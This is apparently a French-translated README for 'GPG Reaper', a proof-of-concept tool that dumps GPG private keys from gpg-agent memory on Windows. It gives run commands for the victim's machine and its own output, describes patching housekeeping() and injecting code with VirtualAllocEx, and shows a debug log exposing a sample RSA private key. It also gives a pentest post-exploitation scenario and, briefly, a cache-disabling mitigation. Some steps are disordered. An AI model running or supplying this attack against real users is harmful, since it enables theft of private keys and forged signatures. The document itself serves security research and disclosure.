
GPG Reaper - Obtenir/Voler/Restaurer des clés privées GPG depuis le cache/mémoire de gpg-agent
TL;DR: Obtenir/Voler/Restaurer les clés privées GPG depuis le cache/mémoire de gpg-agent
Cette preuve de concept démontre une méthode pour obtenir les clés privées GPG depuis la mémoire de gpg-agent sous Windows.
Normalement, cela ne devrait être possible que dans un délai de 10 minutes (valeur de --default-cache-ttl).
Malheureusement, la fonction housekeeping() (responsable du nettoyage du cache) n'est exécutée que si vous utilisez GPG (il n'y a pas de minuteur).
Cela signifie que dans un cas d'utilisation normal de GPG, comme : vous signez un fichier, puis fermez l'interface graphique et faites autre chose, votre mot de passe est toujours en mémoire dans gpg-agent (même si le ttl a expiré).
Un attaquant ayant accès à votre session en cours peut utiliser cela pour voler la clé privée sans connaître votre phrase de passe.
ATTENTION : GPG modifiera le mécanisme de mise en cache dans la version 2.2.6. Consultez le commit et le problème.

pip install PGPy
Si vous obtenez :
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` en exécutant le script Python alors :
alors :
pip install six==1.10.0
1. Installez Gpg4Win 3.0.3
2. Ouvrez une ligne de commande et démarrez l'agent avec un temps de cache de 2 secondes :
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Lancez Kleopatra et générez une nouvelle paire de clés

4. Signez un fichier test exemple

5. Pinetry s'affichera et vous demandera votre phrase de passe

6. Répétez les étapes 4-5. Chaque fois que pinetry apparaît parce que notre cache de 2 secondes a expiré
7. Lancez GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Vous verrez quelque chose comme :
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Comme vous pouvez le voir, nous avons dumpé la clé. Cela est possible car nous avons noppé la fonction housekeeping.
8. Restaurez la clé privée :
python gpg_reaper.py .\testme.txt
La clé privée est dumpée dans le fichier :
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent est un démon qui gère les clés privées indépendamment de tout protocole.
L'interface graphique communique avec l'agent en utilisant le Protocole Assuan.
Par défaut, l'agent met en cache vos identifiants.
L'option --default-cache-ttl n définit le temps de validité d'une entrée de cache à n secondes.
La valeur par défaut est 600 secondes. Chaque fois qu'une entrée de cache est consultée, son compteur est réinitialisé.
Sous Windows, le processus de signature se déroule comme ceci :

La partie cruciale ici est la fonction housekeeping() qui est responsable de la suppression des identifiants expirés de la mémoire.
Mais il y a un problème : cette fonction n'est exécutée qu'à deux endroits (dans agent_put_cache et agent_get_cache).
Cela signifie que les identifiants mis en cache ne sont PAS retirés de la mémoire tant qu'aucune commande gpg-agent utilisant agent_put_cache, agent_get_cache ou agent_flush_cache n'est exécutée.
Sur l'ordinateur de la victime :
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Transférez out.txt vers votre machine et restaurez les clés privées :
gpg_reaper.py out.txt
Les clés privées seront déposées dans des fichiers séparés.
Si GPG est installé en dehors des répertoires par défaut :
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Si vous ne voulez pas de messages de débogage :
Gpg-Reaper -Verbose $false
Supposons que vous effectuez un test de pénétration et que vous obtenez un shell sur un ordinateur avec GPG installé.
Si vous avez de la chance et que l'utilisateur a utilisé GPG récemment et que le cache n'a pas expiré, vous pouvez :
1. Signer un fichier :
Lancez c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 du message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. Exporter la clé privée :
Lancez c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Malheureusement, cela ne fonctionne pas comme prévu et demande un mot de passe.
Pourquoi ? Parce que la fonction cmd_export_key() exécute agent_key_from_file() avec le drapeau CACHE_MODE_IGNORE ce qui signifie que le cache ne sera pas utilisé et que l'utilisateur doit saisir sa phrase de passe à chaque fois.
Nous savons qu'il n'est pas possible d'exporter une clé GPG via gpg-agent sans connaître le mot de passe.
Mais il y a une petite astuce. L'agent dispose de quelques options disponibles :
1. --debug-level
Sélectionnez le niveau de débogage pour enquêter sur les problèmes. level peut être une valeur numérique ou un mot-clé :
guru - Tous les messages de débogage possibles.
2. --log-file file
Ajoutez toute la sortie de journalisation au fichier. Cela est très utile pour voir ce que fait l'agent.
Lançons l'agent en utilisant gpg-agent.exe --daemon --debug-level guru --log-file out.txt et signons un fichier.
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
Il semble que le mode guru imprime les nombres n, e, d, p, q et u dans le fichier journal. Sachant cela, nous pouvons calculer la clé publique et privée.
En interne, la valeur skey est imprimée par gcry_log_debugsxp() lorsque DBG_CRYPTO est activé :
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
Si vous voulez vous protéger contre cette attaque, vous devez désactiver le cache.
Créez/modifiez : %APPDATA%\gnupg\gpg-agent.conf :
default-cache-ttl 0
max-cache-ttl 0
Vérifiez si les chemins de gpg-connect-agent.exe, gpg-agent.exe et gpg.exe sont corrects
Vérifiez si le sha256 de gpg-agent.exe est supporté
Vérifiez si le processus gpg-agent.exe est en cours d'exécution et ouvrez-le en utilisant OpenProcess
Start-Job qui tue toutes les instances du processus pinentry. Ainsi, lorsque nous demandons une clé qui n'est pas dans le cache, nous pouvons continuer sans interaction de l'utilisateur
Lisez les octets originaux de housekeeping() et agent_pksign_do() afin de pouvoir les restaurer après l'exécution du script
NOP la fonction housekeeping() pour qu'elle ne supprime pas le cache expiré de la mémoire


gpg-connect-agent.exe :SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Vérifiez si le fichier journal contient les nombres n, e, d, p, q et u. Si oui, renvoyez-les à l'utilisateur.
Répétez les étapes 8-11 pour chaque clé du point 7
Maintenant, en utilisant la bibliothèque PGPy, nous pouvons restaurer la clé privée. Voir : gpg_reaper.py
Gpg-agent est compilé sans ASLR, donc j'utilise des décalages codés en dur dans le script PowerShell.
Pour cette raison, seules les versions spécifiées sont supportées :
| Version | sha256 de gpg-agent.exe |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
Parce que ce fichier peut être exécuté sans aucune dépendance externe sur la plupart des systèmes Windows modernes.
gpg-connect-agent.exe, gpg-agent.exe ou gpg.exe n'existent pas dans l'emplacement par défaut.
Vous pouvez essayer de spécifier un emplacement personnalisé en utilisant :
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
gpg-agent.exe n'est pas en cours d'exécution sur ce système, donc nous ne pouvons pas restaurer la clé privée.
Actuellement, ce script ne supporte que des versions spécifiques
Il n'y a pas de clé mise en cache en mémoire, donc nous ne pouvons pas restaurer la clé privée.
Icône de faux réalisée par Freepik de www.flaticon.com.
Police Solstice Of Suffering par GraveTech.
Obtenez la liste de toutes les clés privées disponibles en utilisant gpg.exe --list-secret-keys --with-keygrip
Obtenez la clé publique en utilisant gpg.exe --armor --export %key_fingerprint%
Allouez de la mémoire à l'intérieur de gpg-agent.exe en utilisant VirtualAllocEx. Stockez-y le chemin de notre fichier journal et appelez log_set_file().
Remplacez if (DBG_CRYPTO) par un appel à notre mémoire allouée du point 9 à l'intérieur de agent_pksign_do().
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |